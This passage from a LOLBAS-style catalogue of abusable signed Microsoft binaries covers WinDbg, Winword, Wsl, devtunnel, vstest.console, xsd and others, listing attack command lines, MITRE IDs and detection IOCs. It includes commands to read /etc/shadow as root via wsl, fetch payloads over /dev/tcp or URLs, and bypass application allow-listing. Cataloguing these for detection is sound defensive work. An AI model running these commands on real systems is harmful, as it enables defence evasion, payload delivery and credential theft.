T1127\n OperatingSystem: Windows 10 2004 (likely previous and newer versions as well)\n Tags:\n - Execute: XOML\nFull_Path:\n - Path: C:\\Program Files (x86)\\Microsoft SDKs\\Windows\\v10.0A\\bin\\NETFX 4.8 Tools\\wfc.exe\nCode_Sample:\n - Code: https://bohops.com/2020/11/02/exploring-the-wdac-microsoft-recommended-block-rules-part-ii-wfc-fsi/\nDetection:\n - BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules\n - Sigma: https://github.com/SigmaHQ/sigma/blob/6b34764215b0e97e32cbc4c6325fc933d2695c3a/rules/windows/process_creation/proc_creation_win_lolbin_wfc.yml\n - IOC: As a Windows SDK binary, execution on a system may be suspicious\nResources:\n - Link: https://bohops.com/2020/11/02/exploring-the-wdac-microsoft-recommended-block-rules-part-ii-wfc-fsi/\nAcknowledgement:\n - Person: Matt Graeber\n Handle: '@mattifestation'\n - Person: Jimmy\n Handle: '@bohops'\n" }, { "path": "yml/OtherMSBinaries/WinDbg.yml", "content": "---\nName: WinDbg.exe\nDescription: Windows Debugger for advanced user-mode and kernel-mode debugging.\nAuthor: Avihay Eldad\nCreated: 2025-07-16\nCommands:\n - Command: windbg.exe -g {CMD}\n Description: Launches a command line through the debugging process; optionally add `-G` to exit the debugger automatically.\n Usecase: Executes an executable under a trusted microsoft signed binary.\n Category: Execute\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows\n Tags:\n - Execute: CMD\nFull_Path:\n - Path: C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\windbg.exe\n - Path: C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x86\\windbg.exe\n - Path: C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\arm\\windbg.exe\n - Path: C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\arm64\\windbg.exe\nResources:\n - Link: https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/windbg-command-line-options\nAcknowledgement:\n - Person: Avihay Eldad\n Handle: '@AvihayEldad'\n" }, { "path": "yml/OtherMSBinaries/Winproj.yml", "content": "---\nName: WinProj.exe\nDescription: Microsoft Project Executable\nAuthor: Avihay Eldad\nCreated: 2024-02-14\nCommands:\n - Command: WinProj.exe {REMOTEURL}\n Description: Downloads payload from remote server\n Usecase: It will download a remote payload and place it in INetCache.\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows\n Tags:\n - Download: INetCache\nFull_Path:\n - Path: C:\\Program Files (x86)\\Microsoft Office\\Office14\\WinProj.exe\n - Path: C:\\Program Files\\Microsoft Office\\Office14\\WinProj.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office\\Office15\\WinProj.exe\n - Path: C:\\Program Files\\Microsoft Office\\Office15\\WinProj.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office\\Office16\\WinProj.exe\n - Path: C:\\Program Files\\Microsoft Office\\Office16\\WinProj.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office\\root\\Office14\\WinProj.exe\n - Path: C:\\Program Files\\Microsoft Office\\root\\Office14\\WinProj.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office\\root\\Office15\\WinProj.exe\n - Path: C:\\Program Files\\Microsoft Office\\root\\Office15\\WinProj.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\WinProj.exe\n - Path: C:\\Program Files\\Microsoft Office\\root\\Office16\\WinProj.exe\nDetection:\n - IOC: URL on a WinProj command line\n - IOC: WinProj making unexpected network connections or DNS requests\nAcknowledgement:\n - Person: Avihay Eldad\n Handle: '@AvihayEldad'\n" }, { "path": "yml/OtherMSBinaries/Winword.yml", "content": "---\nName: Winword.exe\nDescription: Microsoft Office binary\nAuthor: 'Reegun J (OCBC Bank)'\nCreated: 2019-07-19\nCommands:\n - Command: winword.exe {REMOTEURL}\n Description: Downloads payload from remote server\n Usecase: It will download a remote payload and place it in INetCache.\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows\n Tags:\n - Download: INetCache\nFull_Path:\n - Path: C:\\Program Files\\Microsoft Office\\root\\Office16\\winword.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office 16\\ClientX86\\Root\\Office16\\winword.exe\n - Path: C:\\Program Files\\Microsoft Office 16\\ClientX64\\Root\\Office16\\winword.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office\\Office16\\winword.exe\n - Path: C:\\Program Files\\Microsoft Office\\Office16\\winword.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office 15\\ClientX86\\Root\\Office15\\winword.exe\n - Path: C:\\Program Files\\Microsoft Office 15\\ClientX64\\Root\\Office15\\winword.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office\\Office15\\winword.exe\n - Path: C:\\Program Files\\Microsoft Office\\Office15\\winword.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office 14\\ClientX86\\Root\\Office14\\winword.exe\n - Path: C:\\Program Files\\Microsoft Office 14\\ClientX64\\Root\\Office14\\winword.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office\\Office14\\winword.exe\n - Path: C:\\Program Files\\Microsoft Office\\Office14\\winword.exe\n - Path: C:\\Program Files (x86)\\Microsoft Office\\Office12\\winword.exe\n - Path: C:\\Program Files\\Microsoft Office\\Office12\\winword.exe\n - Path: C:\\Program Files\\Microsoft Office\\Office12\\winword.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_office_arbitrary_cli_download.yml\n - IOC: Suspicious Office application Internet/network traffic\nResources:\n - Link: https://twitter.com/reegun21/status/1150032506504151040\n - Link: https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191\nAcknowledgement:\n - Person: 'Reegun J (OCBC Bank)'\n Handle: '@reegun21'\n" }, { "path": "yml/OtherMSBinaries/Wsl.yml", "content": "---\nName: Wsl.exe\nDescription: Windows subsystem for Linux executable\nAuthor: Matthew Brown\nCreated: 2019-06-27\nCommands:\n - Command: wsl.exe -e /mnt/c/Windows/System32/calc.exe\n Description: Executes calc.exe from wsl.exe\n Usecase: Performs execution of specified file, can be used to execute arbitrary Linux commands.\n Category: Execute\n Privileges: User\n MitreID: T1202\n OperatingSystem: Windows 10, Windows Server 2019, Windows 11\n Tags:\n - Execute: EXE\n - Command: wsl.exe -u root -e cat /etc/shadow\n Description: Cats /etc/shadow file as root\n Usecase: Performs execution of arbitrary Linux commands as root without need for password.\n Category: Execute\n Privileges: User\n MitreID: T1202\n OperatingSystem: Windows 10, Windows Server 2019, Windows 11\n Tags:\n - Execute: CMD\n - Command: wsl.exe --exec bash -c \"{CMD}\"\n Description: Executes Linux command (for example via bash) as the default user (unless stated otherwise using `-u `) on the default WSL distro (unless stated otherwise using `-d `)\n Usecase: Performs execution of arbitrary Linux commands.\n Category: Execute\n Privileges: User\n MitreID: T1202\n OperatingSystem: Windows 10, Windows Server 2019, Windows 11\n Tags:\n - Execute: CMD\n - Command: wsl.exe --exec bash -c 'cat < /dev/tcp/192.168.1.10/54 > binary'\n Description: Downloads file from 192.168.1.10\n Usecase: Download file\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows 10, Windows Server 2019, Windows 11\n - Command: wsl.exe\n Description: When executed, `wsl.exe` queries the registry value of `HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Lxss\\MSI\\InstallLocation`, which contains a folder path (`c:\\program files\\wsl` by default). If the value points to another folder containing a file named `wsl.exe`, it will be executed instead of the legitimate `wsl.exe` in the program files folder.\n Usecase: Execute a payload as a child process of `bash.exe` while masquerading as WSL.\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 10, Windows Server 2019, Windows 11\n Tags:\n - Execute: CMD\nFull_Path:\n - Path: C:\\Windows\\System32\\wsl.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_wsl_lolbin_execution.yml\n - BlockRule: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules\n - IOC: Child process from wsl.exe\nResources:\n - Link: https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules\n - Link: https://twitter.com/nas_bench/status/1535431474429808642\n - Link: https://cardinalops.com/blog/bash-and-switch-hijacking-via-windows-subsystem-for-linux/\nAcknowledgement:\n - Person: Alex Ionescu\n Handle: '@aionescu'\n - Person: Matt\n Handle: '@NotoriousRebel1'\n - Person: Asif Matadar\n Handle: '@d1r4c'\n - Person: Nasreddine Bencherchali\n Handle: '@nas_bench'\n - Person: Konrad 'unrooted' Klawikowski\n - Person: Liran Ravich, CardinalOps\n" }, { "path": "yml/OtherMSBinaries/XBootMgr.yml", "content": "---\nName: XBootMgr.exe\nDescription: Windows Performance Toolkit binary used to start performance traces.\nAuthor: Avihay Eldad\nCreated: 2025-07-10\nCommands:\n - Command: xbootmgr.exe -trace \"{boot|hibernate|standby|shutdown|rebootCycle}\" -callBack {PATH:.exe}\n Description: Executes an executable after the trace is complete using the callBack parameter.\n Usecase: Executes code as part of post-trace automation flow.\n Category: Execute\n Privileges: Administrator\n MitreID: T1202\n OperatingSystem: Windows\n Tags:\n - Execute: EXE\n - Command: xbootmgr.exe -trace \"{boot|hibernate|standby|shutdown|rebootCycle}\" -preTraceCmd {PATH:.exe}\n Description: Executes an executable before each trace run using the preTraceCmd parameter.\n Usecase: Executes code as part of pre-trace automation or staging.\n Category: Execute\n Privileges: Administrator\n MitreID: T1202\n OperatingSystem: Windows\n Tags:\n - Execute: EXE\nFull_Path:\n - Path: C:\\Program Files\\Windows Kits\\10\\Windows Performance Toolkit\\xbootmgr.exe\n - Path: C:\\Program Files (x86)\\Windows Kits\\10\\Windows Performance Toolkit\\xbootmgr.exe\nResources:\n - Link: https://learn.microsoft.com/en-us/previous-versions/windows/desktop/xperf/reference\nAcknowledgement:\n - Person: Avihay Eldad\n Handle: '@AvihayEldad'\n - Person: Tommy Warren\n" }, { "path": "yml/OtherMSBinaries/XBootMgrSleep.yml", "content": "---\nName: XBootMgrSleep.exe\nDescription: Windows Performance Toolkit binary used for tracing and analyzing system performance during sleep and resume transitions.\nAuthor: Avihay Eldad\nCreated: 2024-06-13\nCommands:\n - Command: xbootmgrsleep.exe 1000 {PATH:.exe}\n Description: Execute executable via XBootMgrSleep, with a 1 second (=1000 milliseconds) delay. Alternatively, it is also possible to replace the delay with any string for immediate execution.\n Usecase: Performs execution of specified executable, can be used as a defense evasion\n Category: Execute\n Privileges: User\n MitreID: T1202\n OperatingSystem: Windows\n Tags:\n - Execute: EXE\nFull_Path:\n - Path: C:\\Program Files\\Windows Kits\\10\\Windows Performance Toolkit\\xbootmgrsleep.exe\n - Path: C:\\Program Files (x86)\\Windows Kits\\10\\Windows Performance Toolkit\\xbootmgrsleep.exe\nResources:\n - Link: https://learn.microsoft.com/en-us/previous-versions/windows/desktop/xperf/reference\nAcknowledgement:\n - Person: Avihay Eldad\n Handle: '@AvihayEldad'\n - Person: Yuval Saban\n Handle: '@yuvalsaban3'\n" }, { "path": "yml/OtherMSBinaries/devtunnels.yml", "content": "---\nName: devtunnel.exe\nDescription: Binary to enable forwarded ports on windows operating systems.\nAuthor: Kamran Saifullah\nCreated: 2023-09-16\nCommands:\n - Command: devtunnel.exe host -p 8080\n Description: Enabling a forwarded port for locally hosted service at port 8080 to be exposed on the internet.\n Usecase: Download Files, Upload Files, Data Exfiltration\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows 10, Windows 11, MacOS\nFull_Path:\n - Path: C:\\Users\\\\AppData\\Local\\Temp\\.net\\devtunnel\\devtunnel.exe\n - Path: C:\\Users\\\\AppData\\Local\\Temp\\DevTunnels\\devtunnel.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c7998c92b3c5f23ea67045bee8ee364d2ed1a775/rules/windows/dns_query/dns_query_win_devtunnels_communication.yml\n - Sigma: https://github.com/SigmaHQ/sigma/blob/c7998c92b3c5f23ea67045bee8ee364d2ed1a775/rules/windows/network_connection/net_connection_win_domain_devtunnels.yml\n - IOC: devtunnel.exe binary spawned\n - IOC: '*.devtunnels.ms'\n - IOC: '*.*.devtunnels.ms'\n - Analysis: https://cydefops.com/vscode-data-exfiltration\nResources:\n - Link: https://code.visualstudio.com/docs/editor/port-forwarding\nAcknowledgement:\n - Person: Kamran Saifullah\n Handle: '@deFr0ggy'\n" }, { "path": "yml/OtherMSBinaries/vsls-agent.yml", "content": "---\nName: vsls-agent.exe\nDescription: Agent for Visual Studio Live Share (Code Collaboration)\nAuthor: Jimmy (@bohops)\nCreated: 2022-11-01\nCommands:\n - Command: vsls-agent.exe --agentExtensionPath {PATH_ABSOLUTE:.dll}\n Description: Load a library payload using the --agentExtensionPath parameter (32-bit)\n Usecase: Execute proxied payload with Microsoft signed binary\n Category: Execute\n Privileges: User\n MitreID: T1218\n OperatingSystem: Windows 10 21H2 (likely previous and newer versions with modern versions of Visual Studio installed)\n Tags:\n - Execute: DLL\nFull_Path:\n - Path: c:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Professional\\Common7\\IDE\\Extensions\\Microsoft\\LiveShare\\Agent\\vsls-agent.exe\nDetection:\n - Sigma: https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_vslsagent_agentextensionpath_load.yml\nResources:\n - Link: https://twitter.com/bohops/status/1583916360404729857\nAcknowledgement:\n - Person: Jimmy\n Handle: '@bohops'\n" }, { "path": "yml/OtherMSBinaries/vstest.console.yml", "content": "---\nName: vstest.console.exe\nDescription: VSTest.Console.exe is the command-line tool to run tests\nAuthor: Onat Uzunyayla\nCreated: 2023-09-08\nCommands:\n - Command: vstest.console.exe {PATH:.dll}\n Description: VSTest functionality may allow an adversary to executes their malware by wrapping it as a test method then build it to a .exe or .dll file to be later run by vstest.console.exe. This may both allow AWL bypass or defense bypass in general\n Usecase: Proxy Execution and AWL bypass, Adversaries may run malicious code embedded inside the test methods of crafted dll/exe\n Category: AWL Bypass\n Privileges: User\n MitreID: T1127\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: DLL\nFull_Path:\n - Path: C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Common7\\IDE\\CommonExtensions\\Microsoft\\TestWindow\\vstest.console.exe\n - Path: C:\\Program Files (x86)\\Microsoft Visual Studio\\2022\\TestAgent\\Common7\\IDE\\CommonExtensions\\Microsoft\\TestWindow\\vstest.console.exe\nCode_Sample:\n - Code: https://github.com/onatuzunyayla/vstest-lolbin-example/\nDetection:\n - IOC: vstest.console.exe spawning unexpected processes\nResources:\n - Link: https://learn.microsoft.com/en-us/visualstudio/test/vstest-console-options?view=vs-2022\nAcknowledgement:\n - Person: Onat Uzunyayla\n - Person: Ayberk Halac\n" }, { "path": "yml/OtherMSBinaries/winfile.yml", "content": "---\nName: winfile.exe\nDescription: Windows File Manager executable\nAuthor: Avihay Eldad\nCreated: 2024-04-30\nCommands:\n - Command: winfile.exe {PATH:.exe}\n Description: Execute an executable file with WinFile as a parent process.\n Usecase: Performs execution of specified file, can be used as a defense evasion\n Category: Execute\n Privileges: User\n MitreID: T1202\n OperatingSystem: Windows 10, Windows 11\n Tags:\n - Execute: EXE\nFull_Path:\n - Path: C:\\Windows\\System32\\winfile.exe\n - Path: C:\\Windows\\winfile.exe\n - Path: C:\\Program Files\\WinFile\\winfile.exe\n - Path: C:\\Program Files (x86)\\WinFile\\winfile.exe\n - Path: C:\\Program Files\\WindowsApps\\Microsoft.WindowsFileManager_10.3.0.0_x64__8wekyb3d8bbwe\\WinFile\\winfile.exe\nResources:\n - Link: https://github.com/microsoft/winfile\nAcknowledgement:\n - Person: Avihay Eldad\n Handle: '@AvihayEldad'\n" }, { "path": "yml/OtherMSBinaries/xsd.yml", "content": "---\nName: xsd.exe\nDescription: XML Schema Definition Tool included with the Windows Software Development Kit (SDK).\nAuthor: Avihay Eldad\nCreated: 2024-04-09\nCommands:\n - Command: xsd.exe {REMOTEURL}\n Description: Downloads payload from remote server\n Usecase: It will download a remote payload and place it in INetCache\n Category: Download\n Privileges: User\n MitreID: T1105\n OperatingSystem: Windows\n Tags:\n - Download: INetCache\nFull_Path:\n - Path: C:\\Program Files (x86)\\Microsoft SDKs\\Windows\\\\bin\\NETFX Tools\\xsd.exe\nDetection:\n - IOC: URL on a xsd.exe command line\n - IOC: xsd.exe making unexpected network connections or DNS requests\nAcknowledgement:\n - Person: Avihay Eldad\n Handle: '@AvihayEldad'\n" } ]